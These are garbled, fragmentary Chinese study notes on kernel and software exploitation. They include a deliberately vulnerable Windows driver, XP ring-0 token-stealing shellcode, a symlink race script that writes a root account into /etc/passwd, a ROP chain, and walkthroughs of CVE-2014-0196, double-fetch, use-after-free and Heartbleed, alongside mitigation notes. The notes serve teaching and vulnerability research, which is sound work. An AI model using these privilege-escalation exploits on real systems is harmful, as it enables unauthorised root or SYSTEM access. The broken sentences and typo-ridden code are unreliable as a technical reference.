_In_ ULONG AllocationType, //绕过的方法就是指定AllocationType为MEMTOP_DOWN也就是从高地址向低地址分配内存,同时指定分配内存的大小大于这个值,例如8192(2个内存页)
//这样分配成功后地址范围就是0xFFFFE001(-8191)到1(把0地址包含在内了,这里的内存是宽度,比如-3到1是包含4Byte的空间,-3|_|_|_|_|1),此时再去尝试向NULL指针执行的地址写数据(浪费掉1到0这个Byte),会发现程序不会异常了。
_In_ ULONG Protect
);
"HKEY_ LOCAL MACHINEISAM"
、"HKEY_ LOCAL MACHINEISECURITY"
等。 这些项记录的是系统的核心数据,但某些病毒或者木马经常光顾这里。比如在SAM项目下建立具有管理员权限的隐藏账户,在默认情况下管理员通过在命令行下敲入"net系统文件
的,因为系统中都有系统文件的备份,它存在于c:\WINDOWSlsysem32dll\cache
(假设你的系统装在C盘)。 当你更换了系统文件后,系统自动就会从这个目录中恢复相应的系统文件。当目录中没有相应的系统文件的时候会弹出提示,让你插入安装盘。在实际应用中如果有时你需要Diy自己的系统修改一些系统文件,或者用高版本的系统文件更换低版本的系统文件,让系统功能提升。比如Window XP系统只支持一一个用户远程登录,如果你要让它支持多用户的远程登录。要用Windows 2003的远程登录文件替换Window XP的相应文件。这在非SYSTEM权限下很难实现,但是在SYSTEM权限下就可以很容易实现。neither io
通信方式校验
/********************************************************************
created: 2010/12/06
filename: D:\0day\ExploitMe\exploitme.c
author: shineast
purpose: Exploit me driver demo
*********************************************************************/
#include
#define DEVICE_NAME L"\\Device\\ExploitMe"
#define DEVICE_LINK L"\\DosDevices\\DRIECTX1"
#define FILE_DEVICE_EXPLOIT_ME 0x00008888
#define IOCTL_EXPLOIT_ME (ULONG)CTL_CODE(FILE_DEVICE_EXPLOIT_ME,0x800,METHOD_NEITHER,FILE_WRITE_ACCESS)
//使用的是通信方式是neither io
//创建的设备对象指针
PDEVICE_OBJECT g_DeviceObject;
/**********************************************************************
驱动派遣例程函数
输入:驱动对象的指针,Irp指针
输出:NTSTATUS类型的结果
**********************************************************************/
NTSTATUS DrvDispatch(IN PDEVICE_OBJECT driverObject,IN PIRP pIrp)
{
PIO_STACK_LOCATION pIrpStack;//当前的pIrp栈
PVOID Type3InputBuffer;//用户态输入地址
PVOID UserBuffer;//用户态输出地址
ULONG inputBufferLength;//输入缓冲区的大小
ULONG outputBufferLength;//输出缓冲区的大小
ULONG ioControlCode;//DeviceIoControl的控制号
PIO_STATUS_BLOCK IoStatus;//pIrp的IO状态指针
NTSTATUS ntStatus=STATUS_SUCCESS;//函数返回值
//获取数据
pIrpStack = IoGetCurrentIrpStackLocation(pIrp);
Type3InputBuffer = pIrpStack->Parameters.DeviceIoControl.Type3InputBuffer;
UserBuffer = pIrp->UserBuffer;
inputBufferLength = pIrpStack->Parameters.DeviceIoControl.InputBufferLength;
outputBufferLength = pIrpStack->Parameters.DeviceIoControl.OutputBufferLength;
ioControlCode = pIrpStack->Parameters.DeviceIoControl.IoControlCode;
IoStatus=&pIrp->IoStatus;
IoStatus->Status = STATUS_SUCCESS;// Assume success
IoStatus->Information = 0;// Assume nothing returned
//根据 ioControlCode 完成对应的任务
switch(ioControlCode)
{
case IOCTL_EXPLOIT_ME:
if ( inputBufferLength >= 4 && outputBufferLength >= 4 )
{
*(ULONG *)UserBuffer = *(ULONG *)Type3InputBuffer; //没有对R3传下来的地址进行校验,所以没发现是内核态地址,造成了任意地址写入任意数据
IoStatus->Information = sizeof(ULONG);
}
break;
}
//返回
IoStatus->Status = ntStatus;
IoCompleteRequest(pIrp,IO_NO_INCREMENT);
return ntStatus;
}
/**********************************************************************
驱动卸载函数
输入:驱动对象的指针
输出:无
**********************************************************************/
VOID DriverUnload( IN PDRIVER_OBJECT driverObject )
{
UNICODE_STRING symLinkName;
KdPrint(("DriverUnload: 88!\n"));
RtlInitUnicodeString(&symLinkName,DEVICE_LINK);
IoDeleteSymbolicLink(&symLinkName);
IoDeleteDevice( g_DeviceObject );
}
/*********************************************************************
驱动入口函数(相当于main函数)
输入:驱动对象的指针,服务程序对应的注册表路径
输出:NTSTATUS类型的结果
**********************************************************************/
NTSTATUS DriverEntry( IN PDRIVER_OBJECT driverObject, IN PUNICODE_STRING registryPath )
{
NTSTATUS ntStatus;
UNICODE_STRING devName;
UNICODE_STRING symLinkName;
int i=0;
//打印一句调试信息
KdPrint(("DriverEntry: Exploit me driver demo!\n"));
//创建设备
RtlInitUnicodeString(&devName,DEVICE_NAME);
ntStatus = IoCreateDevice( driverObject,
0,
&devName,
FILE_DEVICE_UNKNOWN,
0, TRUE,
&g_DeviceObject );
if (!NT_SUCCESS(ntStatus))
{
return ntStatus;
}
//创建符号链接
RtlInitUnicodeString(&symLinkName,DEVICE_LINK);
ntStatus = IoCreateSymbolicLink( &symLinkName,&devName );
if (!NT_SUCCESS(ntStatus))
{
IoDeleteDevice( g_DeviceObject );
return ntStatus;
}
//设置该驱动对象的卸载函数
driverObject->DriverUnload = DriverUnload;
//设置该驱动对象的派遣例程函数
for (i = 0; i < IRP_MJ_MAXIMUM_FUNCTION; i++)
{
driverObject->MajorFunction[i] = DrvDispatch;
}
//返回成功结果
return STATUS_SUCCESS;
}
EPROCESS
结构(硬编码,shellcode只能跑在xp上)遍历双向循环链表,找到system的EPROCESS结构(PID是4),将其token
拷贝到当前进程中来,实现提权
//Ring0中执行的Shellcode
NTSTATUS Ring0ShellCode(
ULONG InformationClass,
ULONG BufferSize,
PVOID Buffer,
PULONG ReturnedLength)
{
//打开内核写
__asm
{
cli;
mov eax, cr0;
mov g_uCr0, eax;
and eax, 0xFFFEFFFF;
mov cr0, eax;
}
//USEFULL FOR XP SP3
__asm
{
//KPCR
//由于Windows需要支持多个CPU, 因此Windows内核中为此定义了一套以处理器控制区(Processor Control Region)
//即KPCR为枢纽的数据结构, 使每个CPU都有个KPCR. 其中KPCR这个结构中有一个域KPRCB(Kernel Processor Control Block)结构,
//这个结构扩展了KPCR. 这两个结构用来保存与线程切换相关的全局信息.
//通常fs段寄存器在内核模式下指向KPCR, 用户模式下指向TEB.
//http://blog.csdn.net/hu3167343/article/details/7612595
//http://huaidan.org/archives/2081.html
mov eax, 0xffdff124 //KPCR这个结构是一个相当稳定的结构,我们甚至可以从内存[0FFDFF124h]获取当前线程的ETHREAD指针.
mov eax, [eax] //PETHREAD
mov esi, [eax + 0x220] //PEPROCESS
mov eax, esi
searchXp :
mov eax, [eax + 0x88] //NEXT EPROCESS
sub eax, 0x88
mov edx, [eax + 0x84] //PID
cmp edx, 0x4 //SYSTEM PID
jne searchXp
mov eax, [eax + 0xc8] //SYSTEM TOKEN
mov[esi + 0xc8], eax //CURRENT PROCESS TOKEN 提权
}
//关闭内核写
__asm
{
sti;
mov eax, g_uCr0;
mov cr0, eax;
}
g_isRing0ShellcodeCalled = 1;
return 0;
}
刻舟求剑
)TOCTTOU
)漏洞的一种。即程序先检查对象的某个特性,然后的动作是在假设
这些特性一直保持
的情况下作出的(先检查后使用,中间存在时间差
)。但这时该特性可能不具备了(进程调度,时间片用完了)。原子
方式运行的。一个进程可以在任意两条指令之间中断(进程调度)。如果一个进程对这样的中断没有适当的处理措施
(加锁),其它进程就可能干扰程序的进行,甚至引起安全问题。两个或两个以上
的事件发生,两个事件间有一定的时间间隔
(不是并行的)。两个事件间有一定的关系
,即第二个事件(及其后的事件)依赖于第一个事件。(比如:打开文件,先检查对文件有没有读写权限,有然后再打开,处理完之后再关闭文件)结果
,为第二个事件所依赖的假设
。
/etc/passwd
,B进程退出,A进程被切换进来,不会做第二次校验,在上次校验的结果通过的情况下,放心地把文件打开,这时候打开的就是/etc/passwd
,控制A进程往这个文件添加一个超级用户。O_EXCL
是排他性,只允许一个进程打开,别的进程无法打开///在 linux中创建临时文件
char *filename;
int fd;
do {
filename = tempnam(NULL,"foo"); //生成临时文件的名字
fd = open(filename, 0_ CREATI 0_EXCLI 0_TRUNCI 0_RDwR, 0600); //O_EXCL是排他,只能一个进程来访问
free (filenar);
} while (fd == -1);
///下面的这个程序,表面上看起来似乎是完美的,但实际上它具有竞争条件漏洞。
//rulp.c
#include
#include
#include
#define DELAY 10000
int main(
{
char *fn = "/tmp/YZX";
char buffer[160];
FILE *fp;
long int;
//get user input
scanf("%50s",buffex ) // Buffer是从终端输入的,输入tom:test:0:0:gecos:homedir:shell
if(!access(fn,W_oK)) //成功执行时,返回0。失败返回-1,校验是否有写权限,A进程要访问临时目录下的文件,校验完之后但还没有打开它之前被切换出去了
{
//sinulating delay 让校验和打开文件之间有个时间差,不模拟也可以的,linux是分时系统,每个线程都有时间片的,不模拟耗时也是有可能切换出去的
for(i=O;i<DELAY;i++) //B进程进来把A进程要访问的文件删除,然后建立一个同名的符号链接指向`/etc/passwd`,B进程退出
{
int a = i^2;
}
fd = fopen(fn,"a+"); //以写的方式打开
fwrite("\n", sireof(char), 1,fp); //先写入一个换行
fwrite(buffer,sizoof (char), strlen(buffer),fp); //写入buffer
fclose(fp);
}
else
printf("No persission\n");
root
拥有,我们普通用户能修改吗?
root
,且带有set-uid
标志位,普通用户运行这个程序就拥有了其root
(拥有者)的权限。Set-UlD
允许我们做许多很有趣的事情,但是不幸的是,它也是很多坏事情的罪魁祸首。gcc vulp.c -o vulp
touch attack_input
echo "tom:ttXydORJt50wQ:0:0:,,,:/home:/bin/bash" > attack_input #用来在passwd中添加超级用户的字段
chown root vulp #vulp的拥有者设置成root
chmod u+s vulp #让vulp带上set-uid标志位,这样启动vulp就可以拥有root权限,就可以修改/etc/passwd了
#!/bin/sh
race()
{
while true
do
./vulp
/etc/passwd
#!/bin/sh
race()
{
old=`ls -l /etc/passwd`
new=`ls -l /etc/passwd`
# when we modify the passwd successfully, the attack stops
while [ "$old" = "$new" ]
do
# because when the synlink already exists, we can't modify the symlink,
# so before change the symlink, we should rm the old one
rm -f /tmp/XYZ #删除原来的文件
>/tmp/XYZ
ln -sf /etc/passwd /tmp/XYZ #建立一个同名的符号链接指向`/etc/passwd`
new=`ls -l /etc/passwd` #观察/etc/passwd是否有变化,如果有变化则认为修改成功,程序退出
# echo $new
# echo $old
done
}
race
echo "Stop...The passwd has been changed!"
RACE_PID=$!
kill $RACE_PID
if(!dptr->data[s_pos]) { //如果处于多线程环境下,A,B进程都执行到这里,都为空,然后都进入了
dptr->data[s_pos] = kmalloc(quantum, GFP_KERNEL);
if(!dptrs->data[s_pos]) //都为数组分配一个块内存,会导致先分配的内存被后分配的内存覆盖,先分配的内存就泄漏了
//改进:在访问共享资源之前加锁,单实例懒汉模式,双重校验模式
goto out;
}
https://blog.includesecurity.com/2014/06/exploiting-cve-2014-0196-a-walk-through-of-the-linux-pty-race-condition-poc/
http://blog.csdn.net/hu3167343/article/details/39162431
static ssize_t n_tty write(struct tty_struct *tty, struct file *file,
const unsigned char *buf, size_t nr)
{
const unsigned char *b = buf;
DECLARE_WAITQUEUE(wait,current);
int C;
ssize_t retval = 0;
}
//补丁
@@ -2353,8 +2353,12 @@ static ssize_t
n_tty_write(struct tty_struct *tty, struct file *file,
if(tty->ops->flush_chars)
tty->ops->flush_chars(tty);
}else{
+ struct n_ tty_ _data *Idata= tty->disc_data;
+
while(nr> 0){
+ mutex_lock(&ldata->output_lock); //主要是这里加了锁,修复了漏洞
C = tty->ops->write(ty,b,nr);
+ mutex_unlock(&ldata->output_lock);
if(C<0){
retval = c;
goto break_out;
第一回合
:A,B两个进程(或线程)往同一
ttyy写入数据(没有加锁,导致竞争条件),正常情况是当buffer满
了(th->used=tb->sie)就会申请内存。
memepy
的时候速度很慢
(有时候内存读写速度慢或者被切换出去了,竞争条件漏洞利用不是每次都成功的,需要开启线程反复去尝试),拷贝中
或者拷贝完还没有来得及更新
th->used (+=space)开始执行并写入
,在计算剩余空间left=b->size - b->used
的时候,(由于used
没有及时更新,b->used<
b->size)就认为不需要新分配内存。(但实际上A已经往里面写了很多数据了)最终
都会更新
tb->used,最终会导致tb->used>
tb-> size。比如Sze:100,used为0, A写入80个,没有及时更新used,那么B来写50个,它觉得还有100可用,就直接写入。最后A,B更新used,造成used为130个,超过了100个。第二回合
:B继续写入
的时候,在申请内存计算空间的时候,有符号数left=b->size-
b-used,是负数
,在判断left<
size的时时候(有符号数和无符号数进行比较的时候会进行隐式转换
,统一转换无符号数),由于size是无符号数,left转化为无符号数进行比较,负数left大于size,所以都不会再分配内存
,在原内存处持续写入导致溢出。溢出利用
:创建一个溢出用的目标tty(0),然后连续打开30个tty。通过溢出目标tty可以修改后面tty的ops
结构,让其指向payload
struct tty_struct{
int magic;
struct kref kref;
struct device *dev;
struct tty_driver *driver;
const struct tty_operations *ops; //一组分发函数,处理读写等请求,通过溢出目标tty可以修改后面tty的ops结构,比如把读分发函数改成了payload(),当对tty发送读请求的时候,就会执行payload()
/* ... */
struct tty_bufhead buf;/*Locked internally */
/* ... */
}
///linux中的提权函数
int payload(void){
commit_creds(prepare_kernel_cred(0)) ;
return 0;
}
DEP
(传统栈溢出cpu会拒绝执行栈上的代码)shellcode
pop r;
retq;
函数返回的时候会跳转到ret1所指向的指令去执行,rsp-8
,首先会把栈上rsp
指向的system addr
pop 到 r
寄存器中,然后retq
(pop rip
;此时栈上的rsp指向的是ret2
)就会跳转到ret2
指向的指令去执行call r;
跳转到r寄存器
中的地址,即call system addr
//触发system("calc");
//应该是 linux x64上AT&T汇编代码,x64地址是48bit
//先在libc中找到2个片段
//libc:片段2: (ret2)
0x7ffff7a890b4 lea 0x120(%rsp),%rdi //把"calc"参数入栈
0x7ffff7a890bc call %rax //system("calc")
//libc:片段1: (ret1)
0x7ffff7a7e23a pop %rax //(system addr) 把system()的地址放入rax寄存器中
0x7ffff7a7e23b pop %rbx //(dummy1)没有用到的地址,随便填
0x7ffff7a7e23c pop %rbp //(dummy2) //没有用到的地址,随便填
0x7ffff7a7e23d retq //pop rip;此时栈上的rsp指向的是`ret2`
通过溢出将栈覆盖为:
0x7ffff7a7e23a(ret1
,指向libc片段1)+ address of system
+dummy1 + dummy2 +
0x7ffff7a890b4(ret2
,指向libc:片段2)+dummy(0x120) +"calc"
利用现有的代码组装为病毒代码
竞争条件
漏洞一样也属于TOCTTOU
漏洞的一种两次
从同一
用户内存地址读取同一
数据时,第一
次用来检查数据有效性
(例如验证指针是否为空
,缓冲区大小是否合适
等,第二
次才会真正使用数据。与此同时,另一个用户线程(flipping thread)通过创造竞争条件(race condition),在两次内核读取之间对用户数据进行修改(例如将数据长度变量变大
造成缓冲区溢出
等)。内核崩溃
或者恶意提权
。不一定
会被交叉
使用。不可避免
的引发double fetch,3个上主要场景:size checking, type selection, shallow copy(浅拷贝)。大部分
的double fetch存在于驱动程序
中(63%)。Size checking场景最容易引发double fetch漏洞.arg
指向用户空间数据(分别为81和116行多。
kifb
被再一次使用了
(第101行)。在第二次拷贝之后,新拷贝的消息头中的许多变量被再次使用(而它们可能已经被篡改
,例如第121和129行的kfib->header.Command。尤其是消息头中的长度变量
也被再一次使用(第130行),从而引发了一个double fetch
漏洞,因为恶意用户线程可能在两次拷贝之间篡改消息头中的长度变量kfib->header.size,使得第二次读取并使用的值远大于第一次分配的缓冲区大小。造成读
缓存区溢出//Linux 4.5中Adaptec RAID控制器驱动文件commctrl.c
60 static int ioctl_send_fib(struct aac_dev * dev, void _uscr *arg)
61 {
62 struct hw_fib* kfib;
...
//第1次通过copy_from_user()拷贝指针`arg`指向用户空间数据到kfib中去
81 if (copy_from_user((void*)kfib,arg,sizeof(struct aac_fibhdr))){ //第一次只拷贝了消息头
82 aac_fib_free(fibptr);
83 refurn -EFAULT;
84 }
...
//并用消息头中的数据来计算缓冲区大小
90 size = le16_to_cpu(kfib->hcader.Size)+sizeof(struct aac_fibhdr);
...
93 if ((size > dev->max_fib_size){ //检查数据的有效性
...
101 kfib - pci_alloc_consistent(dev->pdev, size, &daddr); //并根据计算结果来分配相应的缓冲区
...
105 }
//第2次通过copy_from_user()拷贝指针`arg`指向用户空间数据到kfib中去,中间存在时间差
116 if(copy_from_user(kfib,arg,size){ //根据第一次获取的消息长度将完整消息拷贝进分配好的缓冲区中,注意此时指向内核缓冲区的指针变量`kifb`被再一次使用了
117 retval=-EFAULT;
118 goto cleanup;
119 }
...
121 if (kfib->header.Command =-cpu_to_le16(TakeA BreakPt)){
122 aac_adapter_interrupt(dev);
...
127 kfib->hcadcr.XferState = 0;
128 }else {
//恶意用户线程可能在两次拷贝之间篡改消息头中的长度变量kfib->header.size,使得第二次读取并使用的值远大于第一次分配的缓冲区大小。造成`读`缓存区溢出
129 rctval = aac_fib_scnd(le16_to_cpu(kfib->hcadcr.Command),fibptr,
130 le16_to_cpu(kfib->hcadcr.Size), FsaNormal,
131 1,1,NULL,NULL);
...
139 }
...
149 if (copy_to_user(arg,(void*)kfib,size))
150 retval=-EFAULT;
...
160 }
寻找
或生成
野指针
生成
:引用计数多加或者少减,都会造成引用计数不为零,但内存已经释放了从而造成野指针。占位
效率
的考虑会被保存在一些结构中以便于再次
的分配。占位就是利用这一点,通过分配相同大小
的堆内存试图重用
UAF对象的内存。为了成功实现占位,一般是多次
分配相同大小的内存以保证成功率。/// ackee
struct Object1_struct{
int flag;
void (*func1)();
char message[256];
}OBJECT1;
struct Object2_struct{
int flag;
int flag2;
char welcome[256];
}OBJECT1;
pObject1 = (OBJECT1*)malloc(sizeof(OBJECT1));
// ..initialization...
// ...pass values...
// ... use ...
free(pObject1);
//free之后,并没有没有把pObject1设为NULL,pObject1成为了野指针
...
pobject2 = (0B3ECT2 *) malloc(sizeof(OBECT2));
...
if(pobject1 != NULL)
pobject1->pfunc1(); //pObject1 UAF,但调用func1的时候,其实已经是在指向
///attacker
///在多线程环境下,攻击者在Exploit中新建一个恶意线程频繁分配一个和OBJECT1一样的内存,系统为了优化,很可能会把刚才pObject1释放的内存分配给了恶意线程,往这块内存的func1放入shellcode地址。
释放
一个野指针
,导致崩溃重启,就可以获得smbd
运行权限,而smbd是以root
权限执行的导致权限提升
。分配
一块内存后未经初始化
就直接进行使用(可能是别人留下的恶意代码
,相当于将UAF反过来理解,来世投胎没喝孟婆汤
)恶意进程会先释放一些与之相同大小的已经布置好内容的内存,然后让未初始化对象来重用被释放的内存。OOB
漏洞可以在IE浏览器
中轻易的实现绕过ASLR
的保护虚函数表地址
就可以bypass ASLR
呢?
BSTR
(字符串,size+"\x00\x00"
+data)布置在存在OOB的对象后面
,目标对象布置在BSTR
后面,目的是进行信息泄漏。
BSTR
的长度,实现了越界读
(比如把BSTR的size改大4Byte,即可越界解读到目标对象的vtbl,即虚函数表地址(首4个字节))。https://www.anquanke.com/post/id/85797 作者:Ox9A82
#pragma etrict_gs_check(on) //为下边的函数
int vulfuction(char* str)
{
chararry[4];
strcpy(arry,str);
return 1;
}
异常处理函数
地址提取出来,编入一张安全的S.E.H表
,并将这张表放到程序的映像里。当程序调用异常处理函数的时候会将函数地址与S.E.H表进行匹配
,检查调用的异常处理函数是否位于安全S.E.H表
中 /safeseh
打开dumpbin /loadconfig
文件名可显示S.E.H表数据
所在内存页标识为不可执行
,当程序溢出成功转入shellcode时,程序会尝试在数据页面上执行指令
,此时CPU就会抛出异常
,而不是去执行恶意指令。避免了冯.诺依曼计算机不区分数据和代码的问题。Optin
:默认仅将DEP保护应用于Windows系统组件
和服务
,对于其他程序不予保护,但用户可以通过应用程序兼容性工具(ACT, Application Compatibllity Toolkit)为选定的程序启用DEP
,在Vista下边经过/NXcompat选项编译过的程序将自动应用
DEP。这种模式可以被应用程序动态关闭,它多用于普通用户版
的操作系统,如Windows XP、Windows Vista、Windows7.Optout
:为排除列表
程序外
的所有程序和服务启用DEP
,用户可以手动在排除列表中指定不启用DEP
保护的程序和服务。这种模式可以被应用程序动态关闭,它多用于服务器版
的操作系统,如Windows 2003、Windows 2008。VISTA以上
系统有效/dynamicbase
打开JMP ESP
这种跳板指令的地址就不好确定了HEAP SPRAY
+OOB
漏洞可以在E浏览器中轻易的实现绕过
ASLR的保护完整性
,在程序转入异常处理前SEHOP会检查S.E.H链上最后一个异常处理函数是否为系统固定的终极异常处理函数。
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\kernel
下面找到DisableExceptionChainValidation项, 将该值设置为 0,即可启用 SEHOP。//unsafe unlink:
int remove(ListNode *node)
{
node->blink->flink = node->flink;
node->flink->blink = node->blink;
return 0;
}
//safe unlink:
int safe_unlink(ListNode *node)的
{
if(node->blink->flink==node&&node->flink->blink==node) //判断fp和bp指针是否被覆盖,如果发生了堆溢出,fp和bp是被覆盖的
{
node->blink->flink = node->flink
node->flink->blink = node->blink;
return 1;
}
else
{
return 0;
}
}
/// 注意安全函数的传入的长度
strncpy(dst,src,len);//strlen
//1. dst>src:strlen(src) 读多了,造成读溢出
//2. dst==src:strlen(src)
//3. dst
下表概述了可以在内核驱动中使用的安全字符串函数,并指明了它们用来何种类型的c/c++运行库函数。
说明:函数名含有Cb的是以字节数为单位,含有Cch的是以字符数为单位。
函数名 | 作用 | 取代 |
---|---|---|
RtlStringCbCat RtlStringCbCatEx RtlStringCchCat RtlStringCchCatEx | 将源字符串连接到目的字符串的末尾 | strcat wcscat |
RtlStringCbCatN RtlStringCbCatNEx RtlStringCchCatN RtlStringCchCatNEx | 将源字符串指定数目的字符连接到目的字符串的末尾 | strncat wcsncat |
RtlStringCbCopy RtlStringCbCopyEx RtlStringCchCopy RtlStringCchCopyEx | 将源字符串拷贝到目的字符串 | strcpy wcscpy |
RtlStringCbCopyN RtlStringCbCopyNEx RtlStringCchCopyN RtlStringCchCopyNEx | 将源字符串指定数目的字符拷贝到目的字符串 | strncpy wcsncpy |
RtlStringCbLength RtlStringCchLength | 确定字符串的长度 | strlen wcslen |
RtlStringCbPrintf RtlStringCbPrintfEx RtlStringCchPrintf RtlStringCchPrintfEx | 格式化输出 | sprintf swprintf _snprintf _snwprintf |
RtlStringCbVPrintf RtlStringCbVPrintfEx RtlStringCchVPrintf RtlStringCchVPrintfEx | 可变格式化输出 | vsprintf vswprintf _vsnprintf _vsnwprintf |
各个函数的作用可以通过它所取代的 |
char c[] = "12345678";
的首地址,值相同,但类型不同
char *const c
(常量指针),宽度不同,比如c+1就是+1个sizeof(char),即1个bytechar (*c)[9]
,&c+1就是+sizeof(char (*)[9]
),即9个bytechar *const (*c2)[9]
(常量指针),宽度不同,比如c2+1就是+1个sizeof(char (*)[9]
),即9个bytechar (*c2)[9]
,&c2+1就是+sizeof(char (*)[9][9]
),即81个byte///引用是C++的语法,gcc是编译通不过的,g++可以通过编译。
/// 传指针
void fun(char c[]) //数组作为参数在函数内部会退化成指针
{
printf("%d\n",sizeof(c));
}
///传引用,引用就是实参的本身,形参c是实参*c的别名,是对字符'1'的引用
void fun2(char &c)
{
printf("%d\n",sizeof(c));
}
/// 传数组的引用,长度为9的字符数组的引用,就是实参c的本身
void fun3(char(&c)[9]) /// 如果传入c[]="1234567",就会类型不匹配导致编译报错,这个类型检查时在编译阶段进行的,这有什么用呢?可以在编译阶段就检查出溢出风险。这是最好的结果。
{
printf("%d\n",sizeof(c));
//for(int i = 0;i<10:i++)
//{
// ptintf("%d\n",c[i]); //c[9]就会发生溢出
//}
}
int main()
{
char c[] = "12345678";
printf("%d\n",sizeof(c)); //打印是9
fun(c); //打印是4
fun2(*c); //c是常量指针,*c是指第一个元素的值,即'1',所以打印的是1
fun3(c); //打印是9
return 0;
}
指针
和传引用``效率
比传值要高
。因为传指针和传引用都只是把地址
传递给函数,这个过程,只涉及到4
个(8
个,X64)字节的传输。传值,会随着实参的类型不同,有时候不止
传递或者拷贝4个字节。(比如内核的结构体
可以达到上千个Byte,对于C++对象
如果是传值
的话不止时值的拷贝,还有一个构造函数
的性能消耗,所以有时候不需要修改
形参的值也是需要传指针
或者传引用
)引用
比传指针
更安全
简单
。写起来简单///要分清以下这些概念,判断标准是以实参为准,即在调用时候关注传入实参的格式,不要被调用的函数定义的形参格式混淆了
//传值:形参对实参值的一个拷贝,形参和实参是不相关的。无法通过改变形参来改变实参。
//传指针:形参是对实参地址的一个拷贝,通过地址可以实现对实参的修改
//传引用:形参是对实参(本身)的一个引用(别名)
//传指针的指针:void func1 (char **p)
//传指针的引用:void func2(char *&p)
/// 返回指针,是局部变量的地址,能通过编译,但程序执行会出问题
char* func(void) //err
{
char c = 'x';
return &c; //返回一个地址,变量c是存放在栈上的局部变量区域,函数结束后栈就被销毁了,函数外再通过返回的地址去访问被销毁的内存就是无效内存
}
/// 返回引用,是局部变量的地址,能通过编译,但程序执行会出问题
char &func(void) //err
{
char c = 'x';
return c; //返回一个地址,变量c是存放在栈上的局部变量区域,函数结束后栈就被销毁了,函数外再通过返回的地址去访问被销毁的内存就是无效内存
}
/// 返回值,是局部变量的值
char func(void) //ok
{
char c='x';
return c; //返回值,存在一个拷贝过程,把c的值拷贝出去了,值已经拿到了,即使函数结束后栈就被销毁了也没有影响
}
/// 返回一个指针,但是是堆上的地址,这样虽然可以但很可能忘记释放导致堆上的内存泄漏,一定要使用的话,要使用智能指针或者引用计数
char *func(void) //ok
{
char *c = (char *)malloc(100); //堆上的内存不会随着函数的结束而销毁,这里是没问题的
}
typeid
与dynamic_cast
。
typeid
,它返回一个对type_ info对象的引用
,其保存了传递进来
的对象类型信息
。dynamic_cast
,如果你传递给它一个所不期望类型的指针,它将返回0。class Animal {public: virtual~Animal(){}};
class Dog : public Animal{};
class Cat : public Animal{};
//方式1:使用typeid来进行类型检查
const type_info& ti = typeid(*pAnimal);
if(ti == typeid(Dog))
{}
else if(ti == typeid(Cat)
{}
//方式2:使用dynamic_cast来进行类型检查
if(dynamic_cast(pAnimal))
{}
else if(dynamic_cast(pAnimal))
{}
ProbeForRead
和 ProbeForWrite
函数当 ProbeForXXX 的参数 Length
为 0
时, 这两个函数都不会做任何工作,连微软都犯过错。__try{
/// (内存地址,长度,对齐方式)
/// @warning 如果攻击者传一个内核态的地址下来,同时将len设为0,
/// 就会轻易地绕开函数的检查,我们设置的保护就不起作用了
ProbeForRead(Str1,Len,sizeof(WCHAR));
if(wcsnicmp(Str1,Str2,wcslen(Str2)) {
....
}
}
__except(EXECUTE_HANDLER_EXCEPTION) { ....
}
0
的缓存
不能随意放行, 因为系统可能接受长度为 0 的缓存参数做特殊用途
, 比如: 对于 ObjectAttributes->ObjectName (内核对象的名字)的 Length, 如果为 0
, 系统会以对应的参数
打开 ObjectAttributes->RootDirectory 的句柄(即是接受长度为0的情况的), 攻击者可以先以低权限
(比如只能读不能写)得到一个受保护
对象的句柄(比如可写可读),再以长度为 0 的缓存,将句柄填入RootDirectory
来获取高权限的句柄(先把只读
的句柄填入RootDirectory,再重新调用一个函数,把长度为 0 设为零,系统就会去打开RootDirectory,这时候被修改的RootDirectory句柄可能就是可读写
的句柄了)。造成提权漏洞/// @warnig buffer==NULL 并不能代表是个无效内存
/// Windows操作系统是允许用户态申请一个地址为0的内存的,攻击者可以利用这个特性来绕过检查和保护。
/// win8及以上版本系统微软已经封杀了这个漏洞
if (UserBuffer == NULL)
{
goto pass_request;
}
OpenSSL
(开源网络加密协议,电商,银行都在使用)服务端在处理心跳请求包
(tcp为了保持连接状态,有个心跳协议,定时发送一个数据包,判断是否回复,来判断是否掉线)时,没有
对客户端发送过来的length字段(占2byte,可以标识的数据长度为64KB)做合规检测
。心跳响应包
发送给客户端时,直接
用了客户端发送过来的length
,将服务端栈上大于
实际长度的数据(栈上的数据很可能是解密后的结果,把这些数据存储起来进行数据挖掘分析,提取出用户名和密码等)发送给了客户端。///服务端
unsigned char *p = &s->s3->rfec.data[0]; //(心跳类型(1Byte) +心跳长度(2Byte) +数据)
hbtype = *p++; //第一个字节是心跳类型,由于运算符【*】的优先级高于运算符【++】,所以是先取指针p指向的地址单元的数据,p再指向下一位置的数据。
n2s(p,payload); //n2s(net to short)把网络字节序转换成本地字节序,p指向第二、三个字节是客户端要求服务器端返回数据的字节数,转化后存在payload,这个没有检查长度有效性
pl =p; //此处是回传数据(发给客户端的)的起始位置(心跳类型(1Byte) +心跳长度(2Byte)+数据)
buffer =OPENSSL_ malloc(1 + 2 + payload+ padding);//分配回传的内存,客户端要求服务器端返回数据的字节数payload,没有检查长度有效性,直接为其分配这么palyload这么大的内存
bp = buffer;//bp指向分配的回传内存
*bp++ = TLS1_HB_ESPONSE,//回传的buffer第1个字节设置心跳类型response
s2n(payload, bp); //s2n(short to net)把本地字节序转换成网络字节序,回传的字节数,没做任何检查,直接返回payload
memcpy(bp,pl,payload); //内存泄露,数据泄露了payload被客户端故意传了个最大值64K
bp += payload;
Fuzz
这个名词来自于Professor Barton Miller。在1989年一个风雨交加的夜晚,他登陆一台自己的主机,不知道怎么回事,信旁通过猫传到主机上,雷电一闪,把里面的高位变低位,低位至高位了,结果到了主机以后改变了。他突发奇想,把这种方式作为一种测试的方式来做。畸形
数据触发溢出
就会导致程序奔溃,Fuzz工具记录下这些出现奔溃位置),尽可能多的找出有可能出问题的地方。四
个部分。
malformed
的,一个软件首先要找到输入点
,然后把数据丢进去
,这个数据有可能是一个文件
,有可能是一个数据包
,有可能是测试表
里面的一个项,有可能是临时文件
里面的一个东西,总之是一种数据,要定义malformed这种非正常的数据.ioctl _fuzzer
ioctl _fuzzer
-MITM
MITM
攻击就是通过拦截正常的通信数据。并进行数据篡改和嗅探,而通信的双方却毫不知情。DeviceIocontrol
来实现的Bochspwn
被认为是Gogle P0团队(Project Zero)的内核零日漏洞挖掘神器。和其它辅助分析工具相比,Bochspwn在操作系统下层(VT)监听内存变化,能发现更全面的错误异常信息(操作系统出现异常都会被VT捕获),因此也更容易找到漏洞。DigTool
算是里边的佼佼者。DigTool利用硬件虚拟化技术监控内存错误数据了在功能验证阶段已经找出20个Windows内核漏洞、41个杀毒厂商驱动漏洞。Digtool
